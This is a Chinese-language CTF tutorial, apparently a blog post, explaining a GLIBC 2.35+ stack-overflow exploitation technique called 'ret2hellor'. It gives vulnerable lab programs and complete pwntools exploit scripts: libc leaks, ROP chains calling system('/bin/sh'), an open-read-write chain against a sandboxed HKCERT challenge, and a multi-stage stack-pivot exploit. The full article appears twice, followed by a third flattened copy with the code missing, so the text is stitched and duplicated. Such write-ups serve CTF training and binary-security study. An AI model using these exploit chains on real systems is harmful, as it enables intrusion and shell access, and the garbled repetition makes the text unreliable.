ret2hellor,来自我的hellor申的利用手法,可以解决95%的高版本栈题
字数 1150
更新时间 2025-12-30 12:37:49

ret2hellor利用手法详解

一、技术背景与概述

ret2hellor是一种针对高版本GLIBC(2.35+)栈溢出漏洞的利用技术,作为ret2all的替代方案。该技术能够解决约95%的高版本栈溢出题目,特别是在以下场景中表现突出:

  1. 缺少puts函数或puts函数没有mov rdi, rax优化
  2. 存在检查read限制特定输入内容的情况
  3. ret2all迁移bss段无法完全重启时
  4. 需要简化复杂的利用链构造

二、技术原理与三个阶段

阶段一:传统ret2libc(存在pop rdi gadget)

实验环境

#include <stdio.h>

void init(){
    setvbuf(stdin,0,2,0);
    setvbuf(stderr,0,2,0);
    setvbuf(stdout,0,2,0);
}

void main(){
    init();
    puts("hello hellor");
    char buf[0x40];
    read(0, buf, 0x200);
    return 0;
}

Gadget检测

ROPgadget --binary ./pwn --only "pop|ret"
Gadgets information
============================================================
0x000000000040117d : pop rbp ; ret
0x000000000040119e : pop rdi ; ret
0x000000000040101a : ret

利用脚本

from pwn import *

io = process('./pwn_')
elf = ELF('./pwn_')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

# 第一次溢出泄露libc
pd = b'a'*0x48
pd += p64(0x000000000040119e)  # pop_rdi
pd += p64(elf.got['puts'])
pd += p64(elf.plt['puts'])
pd += p64(elf.symbols['main'])
io.send(pd)

io.recvuntil("Input something: \n")
lib = u64(io.recv(6).ljust(8,b'\x00'))-0x80e50
print("lib = ",hex(lib))

# 第二次溢出获取shell
pd = b'a'*0x48
libc = ELF('./libc.so.6')
pd += p64(0x000000000040101a)  # 栈对齐
pd += p64(0x000000000040119e)  # pop_rdi
pd += p64(lib + next(libc.search(b"/bin/sh")))
pd += p64(lib + libc.symbols['system'])
io.send(pd)
io.interactive()

阶段二:利用__bss_start特性(GLIBC 2.39+)

核心原理

在GLIBC 2.39+中,deregister_tm_clones函数包含有用片段:

void *deregister_tm_clones() {
    return &_bss_start;
}

对应的汇编指令可以将__bss_start地址加载到rax寄存器,配合puts函数实现泄露。

例题分析:2025HKCERT

int __fastcall main(int argc, const char **argv, const char **envp) {
    _BYTE buf[108];
    int v5;
    
    v5 = 0;
    setbuf(stdin, 0);
    setbuf(_bss_start, 0);
    sandbox();
    puts("hey hey what are you doing here?");
    read(0, buf, 0x50u);
    puts("I say STOP doing this!");
    return read(0, buf, 0x200u);
}

沙箱限制

seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

利用脚本

from pwn import *

io = process('./pwn')
elf = ELF('./pwn')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

libc = ELF('./libc.so.6')
rt = lambda x : io.recvuntil(x)
sl = lambda x : io.sendline(x)
s = lambda x : io.send(x)

# 第一次输入
pd = b'hello'
s(pd)
rt("I say STOP doing this!")

# 泄露libc
pd = b'a'*0x78
pop_rdx_rbp = 0x00000000004012fc 
pd += p64(0x401130)  # deregister_tm_clones
pd += p64(0x000000000040101a)  # ret
pd += p64(0x4012B0)  # 调用puts的gadget
pd += p64(elf.sym['main'])
s(pd)

rt(b'\n')
lib = u64(io.recv(6).ljust(8,b'\x00')) - 0x2045c0
print("lib =",hex(lib))

# ORW链构造
rdi = lib + next(libc.search(asm('pop rdi; ret')))
rsi = lib + next(libc.search(asm('pop rsi; ret')))

pd = b'a'*(0x68)
pd += b'./flag\x00\x00'
pd += p64(0xdeadbeef)
pd += p64(rdi)
pd += p64(0x404a00-8)
pd += p64(rsi)
pd += p64(0)
pd += p64(lib + 0x00000000000b503c)  # pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
pd += flat(0,0,0,0,0)
pd += p64(lib + libc.sym['open'])

# ... 继续构造read/write链
s(pd)
io.interactive()

阶段三:ret2hellor完全版(__bss_start为0的情况)

实验环境

#include <stdio.h>

void init(){
    setvbuf(stdin,0,2,0);
    setvbuf(stderr,0,2,0);
    setvbuf(stdout,0,2,0);
}

void main(){
    char s[] = "welcome to ret2hellor";
    init();
    puts(s);
    char buf[0x40];
    read(0, buf, 0x200);
    return 0;
}

核心技术点

  1. 栈迁移技术:利用leave_ret(mov rsp, rbp; pop rbp)实现栈迁移
  2. 分段写入:通过多次read调用逐步构建利用链
  3. 地址选择:在bss段选择合适地址避免冲突

完整利用脚本

from pwn import *

io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
context.arch = 'amd64'

# 关键地址定义
ret = 0x40101a
bss = 0x404048
read = 0x401226
puts = 0x40121E
leave_ret = 0x401242
off = 0x60
off2 = 0xa00

# 第一步:初始栈迁移
pd = b'a'*off
pd += flat(bss+off2, read)
io.recvuntil("welcome to ret2hellor\n")
io.send(pd)
sleep(0.1)

# 第二步:构建泄露链
pd = flat(bss+off2-off+0x10, 0x4010D0, puts)
pd = pd.ljust(off, b'a')
pd += flat(bss+off*2, read)
io.send(pd)
sleep(0.1)

# 第三步:准备返回地址
pd = flat(bss+off2-off, leave_ret)
pd = pd.ljust(off, b'\x00')
pd += flat(bss+off, read)
io.send(pd)
sleep(0.1)

# 第四步:触发泄露
pd = b'\x80'
io.send(pd)
sleep(0.1)

# 获取libc基址
lib = u64(io.recv(6).ljust(8, b'\x00')) - 0x21b780
print("libc:", hex(lib))

# 第五步:获取shell
pd = b'a'*off
pd += p64(ret)  # 栈对齐
pd += p64(lib + next(libc.search(asm('pop rdi; ret'))))
pd += p64(lib + next(libc.search(b"/bin/sh")))
pd += p64(lib + libc.symbols['system'])
io.send(pd)
io.interactive()

三、关键技术细节

1. 栈迁移原理

  • 利用leave; ret指令序列实现栈指针控制
  • leave = mov rsp, rbp; pop rbp
  • 通过控制rbp间接控制rsp

2. 地址选择策略

  • bss低地址:puts函数正常工作区域
  • bss中低地址:system函数可能失效区域
  • bss高地址:安全执行区域

3. 多阶段写入技巧

  • 分阶段构造利用链,避免一次性写入过长数据
  • 利用read返回值控制写入位置
  • 通过栈迁移连接各个阶段

4. 异常处理

  • 当puts在read之后时,需要额外栈迁移层
  • 注意栈对齐问题(x64架构要求16字节对齐)
  • 处理地址随机化(PIE)和堆栈保护(Canary)

四、适用场景与限制

适用场景

  1. GLIBC 2.35+环境下的栈溢出漏洞
  2. 缺少传统gadget(如pop rdi)的情况
  3. 存在沙箱限制需要ORW的情况
  4. 题目对输入内容有特殊检查的情况

技术限制

  1. 需要至少一次栈溢出机会
  2. 需要可写的数据段(如bss段)
  3. 对地址布局有一定要求
  4. 在极端保护环境下可能失效

五、总结

ret2hellor技术通过巧妙的栈迁移和多阶段写入,解决了高版本GLIBC下传统利用技术的局限性。该技术的核心优势在于其适应性和简洁性,特别是在缺乏传统gadget的环境中表现突出。掌握这一技术对于现代二进制安全研究具有重要意义。

ret2hellor利用手法详解

一、技术背景与概述

ret2hellor是一种针对高版本GLIBC(2.35+)栈溢出漏洞的利用技术,作为ret2all的替代方案。该技术能够解决约95%的高版本栈溢出题目,特别是在以下场景中表现突出:

  1. 缺少puts函数或puts函数没有mov rdi, rax优化
  2. 存在检查read限制特定输入内容的情况
  3. ret2all迁移bss段无法完全重启时
  4. 需要简化复杂的利用链构造

二、技术原理与三个阶段

阶段一:传统ret2libc(存在pop rdi gadget)

实验环境

#include <stdio.h>

void init(){
    setvbuf(stdin,0,2,0);
    setvbuf(stderr,0,2,0);
    setvbuf(stdout,0,2,0);
}

void main(){
    init();
    puts("hello hellor");
    char buf[0x40];
    read(0, buf, 0x200);
    return 0;
}

Gadget检测

ROPgadget --binary ./pwn --only "pop|ret"
Gadgets information
============================================================
0x000000000040117d : pop rbp ; ret
0x000000000040119e : pop rdi ; ret
0x000000000040101a : ret

利用脚本

from pwn import *

io = process('./pwn_')
elf = ELF('./pwn_')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

# 第一次溢出泄露libc
pd = b'a'*0x48
pd += p64(0x000000000040119e)  # pop_rdi
pd += p64(elf.got['puts'])
pd += p64(elf.plt['puts'])
pd += p64(elf.symbols['main'])
io.send(pd)

io.recvuntil("Input something: \n")
lib = u64(io.recv(6).ljust(8,b'\x00'))-0x80e50
print("lib = ",hex(lib))

# 第二次溢出获取shell
pd = b'a'*0x48
libc = ELF('./libc.so.6')
pd += p64(0x000000000040101a)  # 栈对齐
pd += p64(0x000000000040119e)  # pop_rdi
pd += p64(lib + next(libc.search(b"/bin/sh")))
pd += p64(lib + libc.symbols['system'])
io.send(pd)
io.interactive()

阶段二:利用__bss_start特性(GLIBC 2.39+)

核心原理

在GLIBC 2.39+中,deregister_tm_clones函数包含有用片段:

void *deregister_tm_clones() {
    return &_bss_start;
}

对应的汇编指令可以将__bss_start地址加载到rax寄存器,配合puts函数实现泄露。

例题分析:2025HKCERT

int __fastcall main(int argc, const char **argv, const char **envp) {
    _BYTE buf[108];
    int v5;
    
    v5 = 0;
    setbuf(stdin, 0);
    setbuf(_bss_start, 0);
    sandbox();
    puts("hey hey what are you doing here?");
    read(0, buf, 0x50u);
    puts("I say STOP doing this!");
    return read(0, buf, 0x200u);
}

沙箱限制

seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

利用脚本

from pwn import *

io = process('./pwn')
elf = ELF('./pwn')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'

libc = ELF('./libc.so.6')
rt = lambda x : io.recvuntil(x)
sl = lambda x : io.sendline(x)
s = lambda x : io.send(x)

# 第一次输入
pd = b'hello'
s(pd)
rt("I say STOP doing this!")

# 泄露libc
pd = b'a'*0x78
pop_rdx_rbp = 0x00000000004012fc 
pd += p64(0x401130)  # deregister_tm_clones
pd += p64(0x000000000040101a)  # ret
pd += p64(0x4012B0)  # 调用puts的gadget
pd += p64(elf.sym['main'])
s(pd)

rt(b'\n')
lib = u64(io.recv(6).ljust(8,b'\x00')) - 0x2045c0
print("lib =",hex(lib))

# ORW链构造
rdi = lib + next(libc.search(asm('pop rdi; ret')))
rsi = lib + next(libc.search(asm('pop rsi; ret')))

pd = b'a'*(0x68)
pd += b'./flag\x00\x00'
pd += p64(0xdeadbeef)
pd += p64(rdi)
pd += p64(0x404a00-8)
pd += p64(rsi)
pd += p64(0)
pd += p64(lib + 0x00000000000b503c)  # pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
pd += flat(0,0,0,0,0)
pd += p64(lib + libc.sym['open'])

# ... 继续构造read/write链
s(pd)
io.interactive()

阶段三:ret2hellor完全版(__bss_start为0的情况)

实验环境

#include <stdio.h>

void init(){
    setvbuf(stdin,0,2,0);
    setvbuf(stderr,0,2,0);
    setvbuf(stdout,0,2,0);
}

void main(){
    char s[] = "welcome to ret2hellor";
    init();
    puts(s);
    char buf[0x40];
    read(0, buf, 0x200);
    return 0;
}

核心技术点

  1. 栈迁移技术:利用leave_ret(mov rsp, rbp; pop rbp)实现栈迁移
  2. 分段写入:通过多次read调用逐步构建利用链
  3. 地址选择:在bss段选择合适地址避免冲突

完整利用脚本

from pwn import *

io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
context.arch = 'amd64'

# 关键地址定义
ret = 0x40101a
bss = 0x404048
read = 0x401226
puts = 0x40121E
leave_ret = 0x401242
off = 0x60
off2 = 0xa00

# 第一步:初始栈迁移
pd = b'a'*off
pd += flat(bss+off2, read)
io.recvuntil("welcome to ret2hellor\n")
io.send(pd)
sleep(0.1)

# 第二步:构建泄露链
pd = flat(bss+off2-off+0x10, 0x4010D0, puts)
pd = pd.ljust(off, b'a')
pd += flat(bss+off*2, read)
io.send(pd)
sleep(0.1)

# 第三步:准备返回地址
pd = flat(bss+off2-off, leave_ret)
pd = pd.ljust(off, b'\x00')
pd += flat(bss+off, read)
io.send(pd)
sleep(0.1)

# 第四步:触发泄露
pd = b'\x80'
io.send(pd)
sleep(0.1)

# 获取libc基址
lib = u64(io.recv(6).ljust(8, b'\x00')) - 0x21b780
print("libc:", hex(lib))

# 第五步:获取shell
pd = b'a'*off
pd += p64(ret)  # 栈对齐
pd += p64(lib + next(libc.search(asm('pop rdi; ret'))))
pd += p64(lib + next(libc.search(b"/bin/sh")))
pd += p64(lib + libc.symbols['system'])
io.send(pd)
io.interactive()

三、关键技术细节

1. 栈迁移原理

  • 利用leave; ret指令序列实现栈指针控制
  • leave = mov rsp, rbp; pop rbp
  • 通过控制rbp间接控制rsp

2. 地址选择策略

  • bss低地址:puts函数正常工作区域
  • bss中低地址:system函数可能失效区域
  • bss高地址:安全执行区域

3. 多阶段写入技巧

  • 分阶段构造利用链,避免一次性写入过长数据
  • 利用read返回值控制写入位置
  • 通过栈迁移连接各个阶段

4. 异常处理

  • 当puts在read之后时,需要额外栈迁移层
  • 注意栈对齐问题(x64架构要求16字节对齐)
  • 处理地址随机化(PIE)和堆栈保护(Canary)

四、适用场景与限制

适用场景

  1. GLIBC 2.35+环境下的栈溢出漏洞
  2. 缺少传统gadget(如pop rdi)的情况
  3. 存在沙箱限制需要ORW的情况
  4. 题目对输入内容有特殊检查的情况

技术限制

  1. 需要至少一次栈溢出机会
  2. 需要可写的数据段(如bss段)
  3. 对地址布局有一定要求
  4. 在极端保护环境下可能失效

五、总结

ret2hellor技术通过巧妙的栈迁移和多阶段写入,解决了高版本GLIBC下传统利用技术的局限性。该技术的核心优势在于其适应性和简洁性,特别是在缺乏传统gadget的环境中表现突出。掌握这一技术对于现代二进制安全研究具有重要意义。

ret2hellor利用手法详解 一、技术背景与概述 ret2hellor是一种针对高版本GLIBC(2.35+)栈溢出漏洞的利用技术,作为ret2all的替代方案。该技术能够解决约95%的高版本栈溢出题目,特别是在以下场景中表现突出: 缺少puts函数或puts函数没有 mov rdi, rax 优化 存在检查read限制特定输入内容的情况 ret2all迁移bss段无法完全重启时 需要简化复杂的利用链构造 二、技术原理与三个阶段 阶段一:传统ret2libc(存在pop rdi gadget) 实验环境 Gadget检测 利用脚本 阶段二:利用__ bss_ start特性(GLIBC 2.39+) 核心原理 在GLIBC 2.39+中, deregister_tm_clones 函数包含有用片段: 对应的汇编指令可以将 __bss_start 地址加载到rax寄存器,配合puts函数实现泄露。 例题分析:2025HKCERT 沙箱限制 利用脚本 阶段三:ret2hellor完全版(__ bss_ start为0的情况) 实验环境 核心技术点 栈迁移技术 :利用leave_ ret(mov rsp, rbp; pop rbp)实现栈迁移 分段写入 :通过多次read调用逐步构建利用链 地址选择 :在bss段选择合适地址避免冲突 完整利用脚本 三、关键技术细节 1. 栈迁移原理 利用 leave; ret 指令序列实现栈指针控制 leave = mov rsp, rbp; pop rbp 通过控制rbp间接控制rsp 2. 地址选择策略 bss低地址:puts函数正常工作区域 bss中低地址:system函数可能失效区域 bss高地址:安全执行区域 3. 多阶段写入技巧 分阶段构造利用链,避免一次性写入过长数据 利用read返回值控制写入位置 通过栈迁移连接各个阶段 4. 异常处理 当puts在read之后时,需要额外栈迁移层 注意栈对齐问题(x64架构要求16字节对齐) 处理地址随机化(PIE)和堆栈保护(Canary) 四、适用场景与限制 适用场景 GLIBC 2.35+环境下的栈溢出漏洞 缺少传统gadget(如pop rdi)的情况 存在沙箱限制需要ORW的情况 题目对输入内容有特殊检查的情况 技术限制 需要至少一次栈溢出机会 需要可写的数据段(如bss段) 对地址布局有一定要求 在极端保护环境下可能失效 五、总结 ret2hellor技术通过巧妙的栈迁移和多阶段写入,解决了高版本GLIBC下传统利用技术的局限性。该技术的核心优势在于其适应性和简洁性,特别是在缺乏传统gadget的环境中表现突出。掌握这一技术对于现代二进制安全研究具有重要意义。